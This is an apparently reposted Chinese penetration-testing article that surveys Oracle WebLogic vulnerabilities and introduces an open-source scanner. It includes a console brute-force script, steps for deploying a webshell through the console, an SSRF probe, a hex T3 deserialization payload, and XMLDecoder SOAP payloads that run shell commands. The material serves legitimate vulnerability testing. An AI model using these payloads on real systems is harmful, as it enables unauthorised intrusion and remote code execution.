Weblogic漏洞——從入門到放棄


聲明:

本文首發於freebuf TideSec專欄:

https://www.freebuf.com/column/197546.html

 

本文中所涉及的目標系統均為局域網搭建的測試環境,如IP或URL有雷同純屬巧合。文中所涉及的技術、思路和工具僅供以安全為目的的學習交流使用,任何人不得將其用於非法用途以及盈利等目的,否則后果自行承擔!

本文首先會為大家梳理幾乎weblogic全部歷史漏洞,在此基礎上開源一個自己寫的小平台,旨在為滲透測試工作者提供一個透明、高效的Weblogic中間件測試思路。

在滲透測試工作中,我們常常會遇到的各種版本的weblogic中間件,我們更多的情況是借助網上各種來源的poc/exp去進行測試,大家手頭也確實積累了一些,例如針對wls模塊,或針對t3協議啦,然而weblogic每年都會翻幾次車,非開源工具的更新進度也一直是個謎,所以筆者希望可以系統性的整理一番,形成一個更加具體透明的測試流程,於是,就有了今天大家看到的文章與工具。

之所以命名為從入門到放棄,只是希望大家可以借助此次給大家開源的小工具,徹底解放自己,讓weblogic漏洞測試可以不在迷茫,徹底杜絕測試發現Java反序列化漏洞卻完全講不出具體為何的尷尬。

__        __   _     _             _                    
\ \ / /__| |__ | | ___ __ _(_) ___ _ _
\ \ /\ / / _ \ '_ \| |/ _ \ / _` | |/ __| _| |_ _| |_
\ V V / __/ |_) | | (_) | (_| | | (__ |_ _ _ _|
\_/\_/ \___|_.__/|_|\___/ \__, |_|\___| |_| |_|
|___/

By Tide_RabbitMask | V 1.0

在開始正文前,首先我們簡單提一下weblogic當前比較活躍的幾個較新的版本:

Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.1
Weblogic 12.2.1.2
Weblogic 12.2.1.3
…………

按照本平台目錄,給大家梳理一遍Weblogic歷史漏洞:

#控制台路徑泄露
Weakpassword

#SSRF:
CVE-2014-4210

#JAVA反序列化:
CVE-2015-4852
CVE-2016-0638
CVE-2016-3510
CVE-2017-3248
CVE-2018-2628
CVE-2018-2893

#任意文件上傳
CVE-2018-2894

#XMLDecoder反序列化:
CVE-2017-10271
CVE-2017-3506

控制台路徑泄露

包含模塊:
Weakpassword

相關地址:
http://127.0.0.1:7001/console/login/LoginForm.jsp

控制台

關於控制台,唯一的突破就是弱口令,口令是人自定義的,所以難免會有疏漏出現。檢測平台會檢測默認路徑是否存活,為了整體效率,並未在當前單線程版本加入爆破功能,大家可以借助以下腳本輔助爆破。

    def weakPasswd(self):
"""weak password"""

pwddict = ['WebLogic', 'weblogic', 'Oracle@123', 'password', 'system', 'Administrator', 'admin', 'security', 'joe', 'wlcsystem', 'wlpisystem']
for user in pwddict:
for pwd in pwddict:
data = {
'j_username':user,
'j_password':pwd,
'j_character_encoding':'UTF-8'
}
req = requests.post(self.url+':7001/console/j_security_check', data=data, allow_redirects=False, verify=False)

if req.status_code == 302 and 'console' in req.text and 'LoginForm.jsp' not in req.text:
print('[+] WebLogic username: '+user+' password: '+pwd)

當然,如果有小伙伴想再次基礎上優化,可以增加路徑枚舉功能,畢竟關於控制台默認路徑的漏洞修復建議是:如果遠程部署功能的確需要,建議修改默認的模塊名稱。
如果一旦成功進入控制台,則我們可以使用weblogic的遠程部署功能上傳webshell。
首先我們需要配置下木馬,借助IDE打成war包:

木馬打war包

如果不習慣Java IDE,可在linux下使用jar命令進行打包:
jar cvf ma.war ma/*

jar命令打包

然后借助控制台進行war包的遠程部署:

遠程部署

部署成功

可以通過以下模塊對部署狀態進行二次確認:

http://127.0.0.1:7001/wls-cat/index.jsp?action=summary&app=ma&module=ma.war

確認部署情況

部署完成后可通過項目部署路徑訪問webshell:

http://127.0.0.1:7001/ma/ma.jsp

SSRF:

包含模塊:
CVE-2014-4210
涉及版本:
Version: 10.0.2,10.3.6

相關地址:
http://127.0.0.1:7001/uddiexplorer/SearchPublicRegistries.jsp

uddi

同樣考慮網絡延時的影響,平台只集成簡單的路徑檢測:

def islive(ur,port):
url='http://' + str(ur)+':'+str(port)+'/uddiexplorer/'
r = requests.get(url, headers=headers)
return r.status_code

大家也可以替換成如下payload用於正則匹配校驗,提高准確性:

    def ssrf(self):
payload = ":7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://localhost/robots.txt&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search"
req = requests.get(self.url+payload, timeout=10, verify=False)
if "weblogic.uddi.client.structures.exception.XML_SoapException" in req.text and "IO Exception on sendMessage" not in req.text:
print("[+] WebLogic ssrf")

正則匹配情況

JAVA反序列化:

包含模塊:
CVE-2015-4852
CVE-2016-0638
CVE-2016-3510
CVE-2017-3248
CVE-2018-2628
CVE-2018-2893

這一部分內容是weblogic漏洞的重中之重,每一個CVE拿出來都可以單獨成為一篇文章,反倒讓我不知如何分析啦,在此推薦一篇freebuf文章。

相關文章:https://www.freebuf.com/vuls/179579.html

那么給大家補充一點自己的總結吧:

#CVE-2015-4852   
Weblogic 直接反序列化
是基於Weblogic t3協議引起遠程代碼執行的反序列化漏洞

#CVE-2016-0638
Weblogic 直接反序列化
基於Weblogic t3協議引起遠程代碼執行的反序列化漏洞
漏洞實為CVE-2015-4852繞過
拜Oracle一直以來的黑名單修復方式所賜

#CVE-2016-3510
基於Weblogic t3協議引起遠程代碼執行的反序列化漏洞

#CVE-2017-3248
基於Weblogic t3協議引起遠程代碼執行的反序列化漏洞
屬於Weblogic JRMP反序列化

#CVE-2018-2628
基於Weblogic t3協議引起遠程代碼執行的反序列化漏洞
屬於 Weblogic JRMP反序列化

#CVE-2018-2893
基於Weblogic t3協議引起遠程代碼執行的反序列化漏洞
實為CVE-2018-2628繞過
同樣拜Oracle一直以來的黑名單修復方式所賜
屬於Weblogic JRMP反序列化

大家應該也發現了,因為Oracle的黑名單修復策略,這種縫縫補補的故事還會繼續下去。大家可以結合本文開源的平台中收錄的poc對比一下,會發現因為這些poc其實十分相像。無非就是替換了下payload與正則匹配項。絕大部分poc借助tcp協議的socket實現而不是針對具體路徑。
如最新的CVE-2018-2893:

VUL=['CVE-2018-2893']
#payload:
PAYLOAD=['ACED0005737200257765626C6F6769632E6A6D732E636F6D6D6F6E2E53747265616D4D657373616765496D706C6B88DE4D93CBD45D0C00007872001F7765626C6F6769632E6A6D732E636F6D6D6F6E2E4D657373616765496D706C69126161D04DF1420C000078707A000001251E200000000000000100000118ACED0005737D00000001001A6A6176612E726D692E72656769737472792E5265676973747279787200176A6176612E6C616E672E7265666C6563742E50726F7879E127DA20CC1043CB0200014C0001687400254C6A6176612F6C616E672F7265666C6563742F496E766F636174696F6E48616E646C65723B78707372002D6A6176612E726D692E7365727665722E52656D6F74654F626A656374496E766F636174696F6E48616E646C657200000000000000020200007872001C6A6176612E726D692E7365727665722E52656D6F74654F626A656374D361B4910C61331E03000078707732000A556E696361737452656600093132372E302E302E310000F1440000000046911FD80000000000000000000000000000007878']
#正則匹配規則:
VER_SIG=['StreamMessageImpl']

關於wls-wsat模塊的漏洞,大家也可以在測試前,通過默認路徑簡單查看路徑是否存在來進行初步判斷。

相關地址:
http://127.0.0.1:7001/wls-wsat/CoordinatorPortType

地址截圖

任意文件上傳

包含模塊:
CVE-2018-2894
涉及版本:
version:10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3

相關地址:
http://127.0.0.1:7001/ws_utc/config.do
http://127.0.0.1:7001/ws_utc/begin.do

其實該漏洞的出現也確實令人匪夷所思,竟然開放了兩個超高危的未授權上傳界面,原理部分還是推薦一篇文章更權威些,該向大佬低頭的時候絕不含糊。

相關文章:https://www.freebuf.com/vuls/178510.html

順便一提的是,該未授權上傳界面,CNCERT給出危害程度評分高達9.8分。

未授權文件上傳

XMLDecoder反序列化:

包含模塊:
CVE-2017-10271
CVE-2017-3506
涉及版本:
version:10.3.6.0,12.1.3.0,12.2.1.1,12.2.1.2

相關地址:
http://127.0.0.1:7001/wls-wsat/CoordinatorPortType

/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

在上方8個路徑中任意選擇一個路徑,將content-type改成text/xml類型
content-type:text/xml,然后改為post方式傳入payload,即可漏洞復現,如果此處為修改類型,則會收到內容為不支持的類型的返回包。
在這里給大家提供兩個payload:

#打開計算器poc,僅供驗證
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>calc</string>
</void>
<void index="1">
<string></string>
</void>
<void index="2">
<string> </string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

然而,真正遠程測試的時候,我們是無法看到計算器運行的,所以我們略微修改,通過返回包的正則進行判斷漏洞是否存在。
正則匹配規則:\<faultstring\>.*\<\/faultstring\>

#遠程驗證payload
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>whoami</string>
</void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

emmmm,避重就輕的給大家梳理了一遍weblogic的歷史漏洞,可能還會有些遺漏,比如CVE-2018-3191,但接下來的版本我會補齊的。那么接下來給大家奉上V1.0版本的Weblogic++,也歡迎各位小伙伴對它進行更多的優化。

項目地址:https://github.com/rabbitmask/WeblogicR

簡單嘟囔兩句:因為套接字的使用,容易受到多種網絡因素的影響,所以我對每一個模塊單獨做了異常處理,對收錄的所有poc進行了接口和參數的統一,調整了多處bug,目前來講,正常的滲透測試工作完全夠用了,可能有兩個poc還沒有調整好,無傷大雅。emmmm,別的,,,tide牛逼!好噠,就這樣~
奉上軟件說明與使用截圖:

軟件作者:Tide_RabbitMask
感謝來自網絡的開源POC,
我只是進行了魔改和接口統一。
免責聲明:Pia!(o ‵-′)ノ”(ノ﹏<。)
本工具僅用於安全測試,請勿用於非法使用,要乖哦~

V 1.0功能介紹:
提供一鍵poc檢測,收錄幾乎全部weblogic歷史漏洞。
詳情如下:
#控制台路徑泄露
Weakpassword

#SSRF:
CVE-2014-4210

#JAVA反序列化:
CVE-2015-4852
CVE-2016-0638
CVE-2016-3510
CVE-2017-3248
CVE-2018-2628
CVE-2018-2893

#任意文件上傳
CVE-2018-2894

#XMLDecoder反序列化:
CVE-2017-10271
CVE-2017-3506

其中幾個exp功能完美,不忍魔改,
暫且請手動進行測試。
后期多進程版本再考慮exp的自動化。


V1.*功能預告:
多進程並發
修復建議
模塊優化
交互優化
報告生成

軟件使用Demo:   
==========================================================
__ __ _ _ _
\ \ / /__| |__ | | ___ __ _(_) ___ _ _
\ \ /\ / / _ \ '_ \| |/ _ \ / _` | |/ __| _| |_ _| |_
\ V V / __/ |_) | | (_) | (_| | | (__ |_ _ _ _|
\_/\_/ \___|_.__/|_|\___/ \__, |_|\___| |_| |_|
|___/

By Tide_RabbitMask | V 1.0

Welcome To Weblogic++ !!

1、開啟POC檢測
2、開啟EXP利用
3、關於本軟件

1
Please enter the IP:127.0.0.1
Please enter the port:7001
[*]開始控制台路徑檢測
[+]目標weblogic控制台地址暴露!
[+]路徑為:http://127.0.0.1:7001/console/login/LoginForm.jsp
[+]請自行嘗試弱口令爆破!
[*]開始SSRF檢測
[+]目標weblogic存在UDDI組件!
[+]路徑為:http://127.0.0.1:7001/uddiexplorer/
[+]請自行驗證SSRF漏洞!
[*]開始CVE_2015_4852檢測
[*]測試返回內容為:10.3.6.0.false
AS:2048
HL:19
[*]開始CVE_2016_0638檢測
[+]目標weblogic存在JAVA反序列化漏洞:CVE-2016-0638
[*]開始CVE_2016_3510檢測
[-]目標weblogic未檢測到CVE-2016-3510
[*]開始CVE_2017_3248檢測
[-]目標weblogic未檢測到CVE-2017-3248
[*]開始CVE_2017_3506檢測
[+]目標weblogic存在JAVA反序列化漏洞:CVE-2017-3506
[*]開始CVE_2018_2628檢測
[+]目標weblogic存在JAVA反序列化漏洞:CVE-2018-2628
[*]開始CVE_2018_2893檢測
[+]目標weblogic存在JAVA反序列化漏洞:CVE-2018-2893
[*]本次檢測任務結束,目標 127.0.0.1:7001

==========================================================

 

 

關注我們

對web安全有興趣的小伙伴可以關注或加入我們,TideSec安全團隊:


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM